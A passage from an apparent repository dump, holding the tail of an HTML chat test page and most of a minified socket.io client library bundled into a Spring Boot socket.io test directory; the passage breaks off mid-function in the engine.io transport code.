class=\"input-xlarge\" type=\"text\" placeholder=\"Type something...\"/>\n    <button type=\"button\" onClick=\"sendMessage()\" class=\"btn\" id=\"send\">Send</button>\n    <button type=\"button\" onClick=\"sendDisconnect()\" class=\"btn\">Disconnect</button>\n</form>\n\n\n</body>\n\n</html>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_socketio/src/test/java/com/xncoding/jwt/socket/client/html/js/socket.io/socket.io.js",
    "content": "!function(e){if(\"object\"==typeof exports&&\"undefined\"!=typeof module)module.exports=e();else if(\"function\"==typeof define&&define.amd)define([],e);else{var f;\"undefined\"!=typeof window?f=window:\"undefined\"!=typeof global?f=global:\"undefined\"!=typeof self&&(f=self),f.io=e()}}(function(){var define,module,exports;return function e(t,n,r){function s(o,u){if(!n[o]){if(!t[o]){var a=typeof require==\"function\"&&require;if(!u&&a)return a(o,!0);if(i)return i(o,!0);throw new Error(\"Cannot find module '\"+o+\"'\")}var f=n[o]={exports:{}};t[o][0].call(f.exports,function(e){var n=t[o][1][e];return s(n?n:e)},f,f.exports,e,t,n,r)}return n[o].exports}var i=typeof require==\"function\"&&require;for(var o=0;o<r.length;o++)s(r[o]);return s}({1:[function(_dereq_,module,exports){module.exports=_dereq_(\"./lib/\")},{\"./lib/\":2}],2:[function(_dereq_,module,exports){var url=_dereq_(\"./url\");var parser=_dereq_(\"socket.io-parser\");var Manager=_dereq_(\"./manager\");var debug=_dereq_(\"debug\")(\"socket.io-client\");module.exports=exports=lookup;var cache=exports.managers={};function lookup(uri,opts){if(typeof uri==\"object\"){opts=uri;uri=undefined}opts=opts||{};var parsed=url(uri);var source=parsed.source;var id=parsed.id;var io;if(opts.forceNew||opts[\"force new connection\"]||false===opts.multiplex){debug(\"ignoring socket cache for %s\",source);io=Manager(source,opts)}else{if(!cache[id]){debug(\"new io instance for %s\",source);cache[id]=Manager(source,opts)}io=cache[id]}return io.socket(parsed.path)}exports.protocol=parser.protocol;exports.connect=lookup;exports.Manager=_dereq_(\"./manager\");exports.Socket=_dereq_(\"./socket\")},{\"./manager\":3,\"./socket\":5,\"./url\":6,debug:10,\"socket.io-parser\":46}],3:[function(_dereq_,module,exports){var url=_dereq_(\"./url\");var eio=_dereq_(\"engine.io-client\");var Socket=_dereq_(\"./socket\");var Emitter=_dereq_(\"component-emitter\");var parser=_dereq_(\"socket.io-parser\");var on=_dereq_(\"./on\");var bind=_dereq_(\"component-bind\");var object=_dereq_(\"object-component\");var debug=_dereq_(\"debug\")(\"socket.io-client:manager\");var indexOf=_dereq_(\"indexof\");var Backoff=_dereq_(\"backo2\");module.exports=Manager;function Manager(uri,opts){if(!(this instanceof Manager))return new Manager(uri,opts);if(uri&&\"object\"==typeof uri){opts=uri;uri=undefined}opts=opts||{};opts.path=opts.path||\"/socket.io\";this.nsps={};this.subs=[];this.opts=opts;this.reconnection(opts.reconnection!==false);this.reconnectionAttempts(opts.reconnectionAttempts||Infinity);this.reconnectionDelay(opts.reconnectionDelay||1e3);this.reconnectionDelayMax(opts.reconnectionDelayMax||5e3);this.randomizationFactor(opts.randomizationFactor||.5);this.backoff=new Backoff({min:this.reconnectionDelay(),max:this.reconnectionDelayMax(),jitter:this.randomizationFactor()});this.timeout(null==opts.timeout?2e4:opts.timeout);this.readyState=\"closed\";this.uri=uri;this.connected=[];this.encoding=false;this.packetBuffer=[];this.encoder=new parser.Encoder;this.decoder=new parser.Decoder;this.autoConnect=opts.autoConnect!==false;if(this.autoConnect)this.open()}Manager.prototype.emitAll=function(){this.emit.apply(this,arguments);for(var nsp in this.nsps){this.nsps[nsp].emit.apply(this.nsps[nsp],arguments)}};Manager.prototype.updateSocketIds=function(){for(var nsp in this.nsps){this.nsps[nsp].id=this.engine.id}};Emitter(Manager.prototype);Manager.prototype.reconnection=function(v){if(!arguments.length)return this._reconnection;this._reconnection=!!v;return this};Manager.prototype.reconnectionAttempts=function(v){if(!arguments.length)return this._reconnectionAttempts;this._reconnectionAttempts=v;return this};Manager.prototype.reconnectionDelay=function(v){if(!arguments.length)return this._reconnectionDelay;this._reconnectionDelay=v;this.backoff&&this.backoff.setMin(v);return this};Manager.prototype.randomizationFactor=function(v){if(!arguments.length)return this._randomizationFactor;this._randomizationFactor=v;this.backoff&&this.backoff.setJitter(v);return this};Manager.prototype.reconnectionDelayMax=function(v){if(!arguments.length)return this._reconnectionDelayMax;this._reconnectionDelayMax=v;this.backoff&&this.backoff.setMax(v);return this};Manager.prototype.timeout=function(v){if(!arguments.length)return this._timeout;this._timeout=v;return this};Manager.prototype.maybeReconnectOnOpen=function(){if(!this.reconnecting&&this._reconnection&&this.backoff.attempts===0){this.reconnect()}};Manager.prototype.open=Manager.prototype.connect=function(fn){debug(\"readyState %s\",this.readyState);if(~this.readyState.indexOf(\"open\"))return this;debug(\"opening %s\",this.uri);this.engine=eio(this.uri,this.opts);var socket=this.engine;var self=this;this.readyState=\"opening\";this.skipReconnect=false;var openSub=on(socket,\"open\",function(){self.onopen();fn&&fn()});var errorSub=on(socket,\"error\",function(data){debug(\"connect_error\");self.cleanup();self.readyState=\"closed\";self.emitAll(\"connect_error\",data);if(fn){var err=new Error(\"Connection error\");err.data=data;fn(err)}else{self.maybeReconnectOnOpen()}});if(false!==this._timeout){var timeout=this._timeout;debug(\"connect attempt will timeout after %d\",timeout);var timer=setTimeout(function(){debug(\"connect attempt timed out after %d\",timeout);openSub.destroy();socket.close();socket.emit(\"error\",\"timeout\");self.emitAll(\"connect_timeout\",timeout)},timeout);this.subs.push({destroy:function(){clearTimeout(timer)}})}this.subs.push(openSub);this.subs.push(errorSub);return this};Manager.prototype.onopen=function(){debug(\"open\");this.cleanup();this.readyState=\"open\";this.emit(\"open\");var socket=this.engine;this.subs.push(on(socket,\"data\",bind(this,\"ondata\")));this.subs.push(on(this.decoder,\"decoded\",bind(this,\"ondecoded\")));this.subs.push(on(socket,\"error\",bind(this,\"onerror\")));this.subs.push(on(socket,\"close\",bind(this,\"onclose\")))};Manager.prototype.ondata=function(data){this.decoder.add(data)};Manager.prototype.ondecoded=function(packet){this.emit(\"packet\",packet)};Manager.prototype.onerror=function(err){debug(\"error\",err);this.emitAll(\"error\",err)};Manager.prototype.socket=function(nsp){var socket=this.nsps[nsp];if(!socket){socket=new Socket(this,nsp);this.nsps[nsp]=socket;var self=this;socket.on(\"connect\",function(){socket.id=self.engine.id;if(!~indexOf(self.connected,socket)){self.connected.push(socket)}})}return socket};Manager.prototype.destroy=function(socket){var index=indexOf(this.connected,socket);if(~index)this.connected.splice(index,1);if(this.connected.length)return;this.close()};Manager.prototype.packet=function(packet){debug(\"writing packet %j\",packet);var self=this;if(!self.encoding){self.encoding=true;this.encoder.encode(packet,function(encodedPackets){for(var i=0;i<encodedPackets.length;i++){self.engine.write(encodedPackets[i])}self.encoding=false;self.processPacketQueue()})}else{self.packetBuffer.push(packet)}};Manager.prototype.processPacketQueue=function(){if(this.packetBuffer.length>0&&!this.encoding){var pack=this.packetBuffer.shift();this.packet(pack)}};Manager.prototype.cleanup=function(){var sub;while(sub=this.subs.shift())sub.destroy();this.packetBuffer=[];this.encoding=false;this.decoder.destroy()};Manager.prototype.close=Manager.prototype.disconnect=function(){this.skipReconnect=true;this.backoff.reset();this.readyState=\"closed\";this.engine&&this.engine.close()};Manager.prototype.onclose=function(reason){debug(\"close\");this.cleanup();this.backoff.reset();this.readyState=\"closed\";this.emit(\"close\",reason);if(this._reconnection&&!this.skipReconnect){this.reconnect()}};Manager.prototype.reconnect=function(){if(this.reconnecting||this.skipReconnect)return this;var self=this;if(this.backoff.attempts>=this._reconnectionAttempts){debug(\"reconnect failed\");this.backoff.reset();this.emitAll(\"reconnect_failed\");this.reconnecting=false}else{var delay=this.backoff.duration();debug(\"will wait %dms before reconnect attempt\",delay);this.reconnecting=true;var timer=setTimeout(function(){if(self.skipReconnect)return;debug(\"attempting reconnect\");self.emitAll(\"reconnect_attempt\",self.backoff.attempts);self.emitAll(\"reconnecting\",self.backoff.attempts);if(self.skipReconnect)return;self.open(function(err){if(err){debug(\"reconnect attempt error\");self.reconnecting=false;self.reconnect();self.emitAll(\"reconnect_error\",err.data)}else{debug(\"reconnect success\");self.onreconnect()}})},delay);this.subs.push({destroy:function(){clearTimeout(timer)}})}};Manager.prototype.onreconnect=function(){var attempt=this.backoff.attempts;this.reconnecting=false;this.backoff.reset();this.updateSocketIds();this.emitAll(\"reconnect\",attempt)}},{\"./on\":4,\"./socket\":5,\"./url\":6,backo2:7,\"component-bind\":8,\"component-emitter\":9,debug:10,\"engine.io-client\":11,indexof:42,\"object-component\":43,\"socket.io-parser\":46}],4:[function(_dereq_,module,exports){module.exports=on;function on(obj,ev,fn){obj.on(ev,fn);return{destroy:function(){obj.removeListener(ev,fn)}}}},{}],5:[function(_dereq_,module,exports){var parser=_dereq_(\"socket.io-parser\");var Emitter=_dereq_(\"component-emitter\");var toArray=_dereq_(\"to-array\");var on=_dereq_(\"./on\");var bind=_dereq_(\"component-bind\");var debug=_dereq_(\"debug\")(\"socket.io-client:socket\");var hasBin=_dereq_(\"has-binary\");module.exports=exports=Socket;var events={connect:1,connect_error:1,connect_timeout:1,disconnect:1,error:1,reconnect:1,reconnect_attempt:1,reconnect_failed:1,reconnect_error:1,reconnecting:1};var emit=Emitter.prototype.emit;function Socket(io,nsp){this.io=io;this.nsp=nsp;this.json=this;this.ids=0;this.acks={};if(this.io.autoConnect)this.open();this.receiveBuffer=[];this.sendBuffer=[];this.connected=false;this.disconnected=true}Emitter(Socket.prototype);Socket.prototype.subEvents=function(){if(this.subs)return;var io=this.io;this.subs=[on(io,\"open\",bind(this,\"onopen\")),on(io,\"packet\",bind(this,\"onpacket\")),on(io,\"close\",bind(this,\"onclose\"))]};Socket.prototype.open=Socket.prototype.connect=function(){if(this.connected)return this;this.subEvents();this.io.open();if(\"open\"==this.io.readyState)this.onopen();return this};Socket.prototype.send=function(){var args=toArray(arguments);args.unshift(\"message\");this.emit.apply(this,args);return this};Socket.prototype.emit=function(ev){if(events.hasOwnProperty(ev)){emit.apply(this,arguments);return this}var args=toArray(arguments);var parserType=parser.EVENT;if(hasBin(args)){parserType=parser.BINARY_EVENT}var packet={type:parserType,data:args};if(\"function\"==typeof args[args.length-1]){debug(\"emitting packet with ack id %d\",this.ids);this.acks[this.ids]=args.pop();packet.id=this.ids++}if(this.connected){this.packet(packet)}else{this.sendBuffer.push(packet)}return this};Socket.prototype.packet=function(packet){packet.nsp=this.nsp;this.io.packet(packet)};Socket.prototype.onopen=function(){debug(\"transport is open - connecting\");if(\"/\"!=this.nsp){this.packet({type:parser.CONNECT})}};Socket.prototype.onclose=function(reason){debug(\"close (%s)\",reason);this.connected=false;this.disconnected=true;delete this.id;this.emit(\"disconnect\",reason)};Socket.prototype.onpacket=function(packet){if(packet.nsp!=this.nsp)return;switch(packet.type){case parser.CONNECT:this.onconnect();break;case parser.EVENT:this.onevent(packet);break;case parser.BINARY_EVENT:this.onevent(packet);break;case parser.ACK:this.onack(packet);break;case parser.BINARY_ACK:this.onack(packet);break;case parser.DISCONNECT:this.ondisconnect();break;case parser.ERROR:this.emit(\"error\",packet.data);break}};Socket.prototype.onevent=function(packet){var args=packet.data||[];debug(\"emitting event %j\",args);if(null!=packet.id){debug(\"attaching ack callback to event\");args.push(this.ack(packet.id))}if(this.connected){emit.apply(this,args)}else{this.receiveBuffer.push(args)}};Socket.prototype.ack=function(id){var self=this;var sent=false;return function(){if(sent)return;sent=true;var args=toArray(arguments);debug(\"sending ack %j\",args);var type=hasBin(args)?parser.BINARY_ACK:parser.ACK;self.packet({type:type,id:id,data:args})}};Socket.prototype.onack=function(packet){debug(\"calling ack %s with %j\",packet.id,packet.data);var fn=this.acks[packet.id];fn.apply(this,packet.data);delete this.acks[packet.id]};Socket.prototype.onconnect=function(){this.connected=true;this.disconnected=false;this.emit(\"connect\");this.emitBuffered()};Socket.prototype.emitBuffered=function(){var i;for(i=0;i<this.receiveBuffer.length;i++){emit.apply(this,this.receiveBuffer[i])}this.receiveBuffer=[];for(i=0;i<this.sendBuffer.length;i++){this.packet(this.sendBuffer[i])}this.sendBuffer=[]};Socket.prototype.ondisconnect=function(){debug(\"server disconnect (%s)\",this.nsp);this.destroy();this.onclose(\"io server disconnect\")};Socket.prototype.destroy=function(){if(this.subs){for(var i=0;i<this.subs.length;i++){this.subs[i].destroy()}this.subs=null}this.io.destroy(this)};Socket.prototype.close=Socket.prototype.disconnect=function(){if(this.connected){debug(\"performing disconnect (%s)\",this.nsp);this.packet({type:parser.DISCONNECT})}this.destroy();if(this.connected){this.onclose(\"io client disconnect\")}return this}},{\"./on\":4,\"component-bind\":8,\"component-emitter\":9,debug:10,\"has-binary\":38,\"socket.io-parser\":46,\"to-array\":50}],6:[function(_dereq_,module,exports){(function(global){var parseuri=_dereq_(\"parseuri\");var debug=_dereq_(\"debug\")(\"socket.io-client:url\");module.exports=url;function url(uri,loc){var obj=uri;var loc=loc||global.location;if(null==uri)uri=loc.protocol+\"//\"+loc.host;if(\"string\"==typeof uri){if(\"/\"==uri.charAt(0)){if(\"/\"==uri.charAt(1)){uri=loc.protocol+uri}else{uri=loc.hostname+uri}}if(!/^(https?|wss?):\\/\\//.test(uri)){debug(\"protocol-less url %s\",uri);if(\"undefined\"!=typeof loc){uri=loc.protocol+\"//\"+uri}else{uri=\"https://\"+uri}}debug(\"parse %s\",uri);obj=parseuri(uri)}if(!obj.port){if(/^(http|ws)$/.test(obj.protocol)){obj.port=\"80\"}else if(/^(http|ws)s$/.test(obj.protocol)){obj.port=\"443\"}}obj.path=obj.path||\"/\";obj.id=obj.protocol+\"://\"+obj.host+\":\"+obj.port;obj.href=obj.protocol+\"://\"+obj.host+(loc&&loc.port==obj.port?\"\":\":\"+obj.port);return obj}}).call(this,typeof self!==\"undefined\"?self:typeof window!==\"undefined\"?window:{})},{debug:10,parseuri:44}],7:[function(_dereq_,module,exports){module.exports=Backoff;function Backoff(opts){opts=opts||{};this.ms=opts.min||100;this.max=opts.max||1e4;this.factor=opts.factor||2;this.jitter=opts.jitter>0&&opts.jitter<=1?opts.jitter:0;this.attempts=0}Backoff.prototype.duration=function(){var ms=this.ms*Math.pow(this.factor,this.attempts++);if(this.jitter){var rand=Math.random();var deviation=Math.floor(rand*this.jitter*ms);ms=(Math.floor(rand*10)&1)==0?ms-deviation:ms+deviation}return Math.min(ms,this.max)|0};Backoff.prototype.reset=function(){this.attempts=0};Backoff.prototype.setMin=function(min){this.ms=min};Backoff.prototype.setMax=function(max){this.max=max};Backoff.prototype.setJitter=function(jitter){this.jitter=jitter}},{}],8:[function(_dereq_,module,exports){var slice=[].slice;module.exports=function(obj,fn){if(\"string\"==typeof fn)fn=obj[fn];if(\"function\"!=typeof fn)throw new Error(\"bind() requires a function\");var args=slice.call(arguments,2);return function(){return fn.apply(obj,args.concat(slice.call(arguments)))}}},{}],9:[function(_dereq_,module,exports){module.exports=Emitter;function Emitter(obj){if(obj)return mixin(obj)}function mixin(obj){for(var key in Emitter.prototype){obj[key]=Emitter.prototype[key]}return obj}Emitter.prototype.on=Emitter.prototype.addEventListener=function(event,fn){this._callbacks=this._callbacks||{};(this._callbacks[event]=this._callbacks[event]||[]).push(fn);return this};Emitter.prototype.once=function(event,fn){var self=this;this._callbacks=this._callbacks||{};function on(){self.off(event,on);fn.apply(this,arguments)}on.fn=fn;this.on(event,on);return this};Emitter.prototype.off=Emitter.prototype.removeListener=Emitter.prototype.removeAllListeners=Emitter.prototype.removeEventListener=function(event,fn){this._callbacks=this._callbacks||{};if(0==arguments.length){this._callbacks={};return this}var callbacks=this._callbacks[event];if(!callbacks)return this;if(1==arguments.length){delete this._callbacks[event];return this}var cb;for(var i=0;i<callbacks.length;i++){cb=callbacks[i];if(cb===fn||cb.fn===fn){callbacks.splice(i,1);break}}return this};Emitter.prototype.emit=function(event){this._callbacks=this._callbacks||{};var args=[].slice.call(arguments,1),callbacks=this._callbacks[event];if(callbacks){callbacks=callbacks.slice(0);for(var i=0,len=callbacks.length;i<len;++i){callbacks[i].apply(this,args)}}return this};Emitter.prototype.listeners=function(event){this._callbacks=this._callbacks||{};return this._callbacks[event]||[]};Emitter.prototype.hasListeners=function(event){return!!this.listeners(event).length}},{}],10:[function(_dereq_,module,exports){module.exports=debug;function debug(name){if(!debug.enabled(name))return function(){};return function(fmt){fmt=coerce(fmt);var curr=new Date;var ms=curr-(debug[name]||curr);debug[name]=curr;fmt=name+\" \"+fmt+\" +\"+debug.humanize(ms);window.console&&console.log&&Function.prototype.apply.call(console.log,console,arguments)}}debug.names=[];debug.skips=[];debug.enable=function(name){try{localStorage.debug=name}catch(e){}var split=(name||\"\").split(/[\\s,]+/),len=split.length;for(var i=0;i<len;i++){name=split[i].replace(\"*\",\".*?\");if(name[0]===\"-\"){debug.skips.push(new RegExp(\"^\"+name.substr(1)+\"$\"))}else{debug.names.push(new RegExp(\"^\"+name+\"$\"))}}};debug.disable=function(){debug.enable(\"\")};debug.humanize=function(ms){var sec=1e3,min=60*1e3,hour=60*min;if(ms>=hour)return(ms/hour).toFixed(1)+\"h\";if(ms>=min)return(ms/min).toFixed(1)+\"m\";if(ms>=sec)return(ms/sec|0)+\"s\";return ms+\"ms\"};debug.enabled=function(name){for(var i=0,len=debug.skips.length;i<len;i++){if(debug.skips[i].test(name)){return false}}for(var i=0,len=debug.names.length;i<len;i++){if(debug.names[i].test(name)){return true}}return false};function coerce(val){if(val instanceof Error)return val.stack||val.message;return val}try{if(window.localStorage)debug.enable(localStorage.debug)}catch(e){}},{}],11:[function(_dereq_,module,exports){module.exports=_dereq_(\"./lib/\")},{\"./lib/\":12}],12:[function(_dereq_,module,exports){module.exports=_dereq_(\"./socket\");module.exports.parser=_dereq_(\"engine.io-parser\")},{\"./socket\":13,\"engine.io-parser\":25}],13:[function(_dereq_,module,exports){(function(global){var transports=_dereq_(\"./transports\");var Emitter=_dereq_(\"component-emitter\");var debug=_dereq_(\"debug\")(\"engine.io-client:socket\");var index=_dereq_(\"indexof\");var parser=_dereq_(\"engine.io-parser\");var parseuri=_dereq_(\"parseuri\");var parsejson=_dereq_(\"parsejson\");var parseqs=_dereq_(\"parseqs\");module.exports=Socket;function noop(){}function Socket(uri,opts){if(!(this instanceof Socket))return new Socket(uri,opts);opts=opts||{};if(uri&&\"object\"==typeof uri){opts=uri;uri=null}if(uri){uri=parseuri(uri);opts.host=uri.host;opts.secure=uri.protocol==\"https\"||uri.protocol==\"wss\";opts.port=uri.port;if(uri.query)opts.query=uri.query}this.secure=null!=opts.secure?opts.secure:global.location&&\"https:\"==location.protocol;if(opts.host){var pieces=opts.host.split(\":\");opts.hostname=pieces.shift();if(pieces.length){opts.port=pieces.pop()}else if(!opts.port){opts.port=this.secure?\"443\":\"80\"}}this.agent=opts.agent||false;this.hostname=opts.hostname||(global.location?location.hostname:\"localhost\");this.port=opts.port||(global.location&&location.port?location.port:this.secure?443:80);this.query=opts.query||{};if(\"string\"==typeof this.query)this.query=parseqs.decode(this.query);this.upgrade=false!==opts.upgrade;this.path=(opts.path||\"/engine.io\").replace(/\\/$/,\"\")+\"/\";this.forceJSONP=!!opts.forceJSONP;this.jsonp=false!==opts.jsonp;this.forceBase64=!!opts.forceBase64;this.enablesXDR=!!opts.enablesXDR;this.timestampParam=opts.timestampParam||\"t\";this.timestampRequests=opts.timestampRequests;this.transports=opts.transports||[\"polling\",\"websocket\"];this.readyState=\"\";this.writeBuffer=[];this.callbackBuffer=[];this.policyPort=opts.policyPort||843;this.rememberUpgrade=opts.rememberUpgrade||false;this.binaryType=null;this.onlyBinaryUpgrades=opts.onlyBinaryUpgrades;this.perMessageDeflate=false!==opts.perMessageDeflate?opts.perMessageDeflate||true:false;this.pfx=opts.pfx||null;this.key=opts.key||null;this.passphrase=opts.passphrase||null;this.cert=opts.cert||null;this.ca=opts.ca||null;this.ciphers=opts.ciphers||null;this.rejectUnauthorized=opts.rejectUnauthorized||null;this.open()}Socket.priorWebsocketSuccess=false;Emitter(Socket.prototype);Socket.protocol=parser.protocol;Socket.Socket=Socket;Socket.Transport=_dereq_(\"./transport\");Socket.transports=_dereq_(\"./transports\");Socket.parser=_dereq_(\"engine.io-parser\");Socket.prototype.createTransport=function(name){debug('creating transport \"%s\"',name);var query=clone(this.query);query.EIO=parser.protocol;query.transport=name;if(this.id)query.sid=this.id;var transport=new transports[name]({agent:this.agent,hostname:this.hostname,port:this.port,secure:this.secure,path:this.path,query:query,forceJSONP:this.forceJSONP,jsonp:this.jsonp,forceBase64:this.forceBase64,enablesXDR:this.enablesXDR,timestampRequests:this.timestampRequests,timestampParam:this.timestampParam,policyPort:this.policyPort,socket:this,pfx:this.pfx,key:this.key,passphrase:this.passphrase,cert:this.cert,ca:this.ca,ciphers:this.ciphers,rejectUnauthorized:this.rejectUnauthorized,perMessageDeflate:this.perMessageDeflate});return transport};function clone(obj){var o={};for(var i in obj){if(obj.hasOwnProperty(i)){o[i]=obj[i]}}return o}Socket.prototype.open=function(){var transport;if(this.rememberUpgrade&&Socket.priorWebsocketSuccess&&this.transports.indexOf(\"websocket\")!=-1){transport=\"websocket\"}else if(0==this.transports.length){var self=this;setTimeout(function(){self.emit(\"error\",\"No transports available\")},0);return}else{transport=this.transports[0]}this.readyState=\"opening\";var transport;try{transport=this.createTransport(transport)}catch(e){this.transports.shift();this.open();return}transport.open();this.setTransport(transport)};Socket.prototype.setTransport=function(transport){debug(\"setting transport %s\",transport.name);var self=this;if(this.transport){debug(\"clearing existing transport %s\",this.transport.name);this.transport.removeAllListeners()}this.transport=transport;transport.on(\"drain\",function(){self.onDrain()}).on(\"packet\",function(packet){self.onPacket(packet)}).on(\"error\",function(e){self.onError(e)}).on(\"close\",function(){self.onClose(\"transport close\")})};Socket.prototype.probe=function(name){debug('probing transport \"%s\"',name);var transport=this.createTransport(name,{probe:1}),failed=false,self=this;Socket.priorWebsocketSuccess=false;function onTransportOpen(){if(self.onlyBinaryUpgrades){var upgradeLosesBinary=!this.supportsBinary&&self.transport.supportsBinary;failed=failed||upgradeLosesBinary}if(failed)return;debug('probe transport \"%s\" opened',name);transport.send([{type:\"ping\",data:\"probe\",options:{compress:true}}]);transport.once(\"packet\",function(msg){if(failed)return;if(\"pong\"==msg.type&&\"probe\"==msg.data){debug('probe transport \"%s\" pong',name);self.upgrading=true;self.emit(\"upgrading\",transport);if(!transport)return;Socket.priorWebsocketSuccess=\"websocket\"==transport.name;debug('pausing current transport \"%s\"',self.transport.name);self.transport.pause(function(){if(failed)return;if(\"closed\"==self.readyState)return;debug(\"changing transport and sending upgrade packet\");cleanup();self.setTransport(transport);transport.send([{type:\"upgrade\",options:{compress:true}}]);self.emit(\"upgrade\",transport);transport=null;self.upgrading=false;self.flush()})}else{debug('probe transport \"%s\" failed',name);var err=new Error(\"probe error\");err.transport=transport.name;self.emit(\"upgradeError\",err)}})}function freezeTransport(){if(failed)return;failed=true;cleanup();transport.close();transport=null}function onerror(err){var error=new Error(\"probe error: \"+err);error.transport=transport.name;freezeTransport();debug('probe transport \"%s\" failed because of error: %s',name,err);self.emit(\"upgradeError\",error)}function onTransportClose(){onerror(\"transport closed\")}function onclose(){onerror(\"socket closed\")}function onupgrade(to){if(transport&&to.name!=transport.name){debug('\"%s\" works - aborting \"%s\"',to.name,transport.name);freezeTransport()}}function cleanup(){transport.removeListener(\"open\",onTransportOpen);transport.removeListener(\"error\",onerror);transport.removeListener(\"close\",onTransportClose);self.removeListener(\"close\",onclose);self.removeListener(\"upgrading\",onupgrade)}transport.once(\"open\",onTransportOpen);transport.once(\"error\",onerror);transport.once(\"close\",onTransportClose);this.once(\"close\",onclose);this.once(\"upgrading\",onupgrade);transport.open()};Socket.prototype.onOpen=function(){debug(\"socket open\");this.readyState=\"open\";Socket.priorWebsocketSuccess=\"websocket\"==this.transport.name;this.emit(\"open\");this.flush();if(\"open\"==this.readyState&&this.upgrade&&this.transport.pause){debug(\"starting upgrade probes\");for(var i=0,l=this.upgrades.length;i<l;i++){this.probe(this.upgrades[i])}}};Socket.prototype.onPacket=function(packet){if(\"opening\"==this.readyState||\"open\"==this.readyState){debug('socket receive: type \"%s\", data \"%s\"',packet.type,packet.data);this.emit(\"packet\",packet);this.emit(\"heartbeat\");switch(packet.type){case\"open\":this.onHandshake(parsejson(packet.data));break;case\"pong\":this.setPing();break;case\"error\":var err=new Error(\"server error\");err.code=packet.data;this.emit(\"error\",err);break;case\"message\":this.emit(\"data\",packet.data);this.emit(\"message\",packet.data);break}}else{debug('packet received with socket readyState \"%s\"',this.readyState)}};Socket.prototype.onHandshake=function(data){this.emit(\"handshake\",data);this.id=data.sid;this.transport.query.sid=data.sid;this.upgrades=this.filterUpgrades(data.upgrades);this.pingInterval=data.pingInterval;this.pingTimeout=data.pingTimeout;this.onOpen();if(\"closed\"==this.readyState)return;this.setPing();this.removeListener(\"heartbeat\",this.onHeartbeat);this.on(\"heartbeat\",this.onHeartbeat)};Socket.prototype.onHeartbeat=function(timeout){clearTimeout(this.pingTimeoutTimer);var self=this;self.pingTimeoutTimer=setTimeout(function(){if(\"closed\"==self.readyState)return;self.onClose(\"ping timeout\")},timeout||self.pingInterval+self.pingTimeout)};Socket.prototype.setPing=function(){var self=this;clearTimeout(self.pingIntervalTimer);self.pingIntervalTimer=setTimeout(function(){debug(\"writing ping packet - expecting pong within %sms\",self.pingTimeout);self.ping();self.onHeartbeat(self.pingTimeout)},self.pingInterval)};Socket.prototype.ping=function(){this.sendPacket(\"ping\")};Socket.prototype.onDrain=function(){for(var i=0;i<this.prevBufferLen;i++){if(this.callbackBuffer[i]){this.callbackBuffer[i]()}}this.writeBuffer.splice(0,this.prevBufferLen);this.callbackBuffer.splice(0,this.prevBufferLen);this.prevBufferLen=0;if(this.writeBuffer.length==0){this.emit(\"drain\")}else{this.flush()}};Socket.prototype.flush=function(){if(\"closed\"!=this.readyState&&this.transport.writable&&!this.upgrading&&this.writeBuffer.length){debug(\"flushing %d packets in socket\",this.writeBuffer.length);this.transport.send(this.writeBuffer);this.prevBufferLen=this.writeBuffer.length;this.emit(\"flush\")}};Socket.prototype.write=Socket.prototype.send=function(msg,options,fn){this.sendPacket(\"message\",msg,options,fn);return this};Socket.prototype.sendPacket=function(type,data,options,fn){if(\"function\"==typeof options){fn=options;options=null}if(\"closing\"==this.readyState||\"closed\"==this.readyState){return}options=options||{};options.compress=false!==options.compress;var packet={type:type,data:data,options:options};this.emit(\"packetCreate\",packet);this.writeBuffer.push(packet);this.callbackBuffer.push(fn);this.flush()};Socket.prototype.close=function(){if(\"opening\"==this.readyState||\"open\"==this.readyState){this.readyState=\"closing\";var self=this;function close(){self.onClose(\"forced close\");debug(\"socket closing - telling transport to close\");self.transport.close()}function cleanupAndClose(){self.removeListener(\"upgrade\",cleanupAndClose);self.removeListener(\"upgradeError\",cleanupAndClose);close()}function waitForUpgrade(){self.once(\"upgrade\",cleanupAndClose);self.once(\"upgradeError\",cleanupAndClose)}if(this.writeBuffer.length){this.once(\"drain\",function(){if(this.upgrading){waitForUpgrade()}else{close()}})}else if(this.upgrading){waitForUpgrade()}else{close()}}return this};Socket.prototype.onError=function(err){debug(\"socket error %j\",err);Socket.priorWebsocketSuccess=false;this.emit(\"error\",err);this.onClose(\"transport error\",err)};Socket.prototype.onClose=function(reason,desc){if(\"opening\"==this.readyState||\"open\"==this.readyState||\"closing\"==this.readyState){debug('socket close with reason: \"%s\"',reason);var self=this;clearTimeout(this.pingIntervalTimer);clearTimeout(this.pingTimeoutTimer);setTimeout(function(){self.writeBuffer=[];self.callbackBuffer=[];self.prevBufferLen=0},0);this.transport.removeAllListeners(\"close\");this.transport.close();this.transport.removeAllListeners();this.readyState=\"closed\";this.id=null;this.emit(\"close\",reason,desc)}};Socket.prototype.filterUpgrades=function(upgrades){var filteredUpgrades=[];for(var i=0,j=upgrades.length;i<j;i++){if(~index(this.transports,upgrades[i]))filteredUpgrades.push(upgrades[i])}return filteredUpgrades}}).call(this,typeof self!==\"undefined\"?self:typeof window!==\"undefined\"?window:{})},{\"./transport\":14,\"./transports\":15,\"component-emitter\":9,debug:22,\"engine.io-parser\":25,indexof:42,parsejson:34,parseqs:35,parseuri:36}],14:[function(_dereq_,module,exports){var parser=_dereq_(\"engine.io-parser\");var Emitter=_dereq_(\"component-emitter\");module.exports=Transport;function Transport(opts){this.path=opts.path;this.hostname=opts.hostname;this.port=opts.port;this.secure=opts.secure;this.query=opts.query;this.timestampParam=opts.timestampParam;this.timestampRequests=opts.timestampRequests;this.readyState=\"\";this.agent=opts.agent||false;this.socket=opts.socket;this.enablesXDR=opts.enablesXDR;this.pfx=opts.pfx;this.key=opts.key;this.passphrase=opts.passphrase;this.cert=opts.cert;this.ca=opts.ca;this.ciphers=opts.ciphers;this.rejectUnauthorized=opts.rejectUnauthorized}Emitter(Transport.prototype);Transport.timestamps=0;Transport.prototype.onError=function(msg,desc){var err=new Error(msg);err.type=\"TransportError\";err.description=desc;this.emit(\"error\",err);return this};Transport.prototype.open=function(){if(\"closed\"==this.readyState||\"\"==this.readyState){this.readyState=\"opening\";this.doOpen()}return this};Transport.prototype.close=function(){if(\"opening\"==this.readyState||\"open\"==this.readyState){this.doClose();this.onClose()}return this};Transport.prototype.send=function(packets){if(\"open\"==this.readyState){this.write(packets)}else{throw new Error(\"Transport not open\")}};Transport.prototype.onOpen=function(){this.readyState=\"open\";this.writable=true;this.emit(\"open\")};Transport.prototype.onData=function(data){var 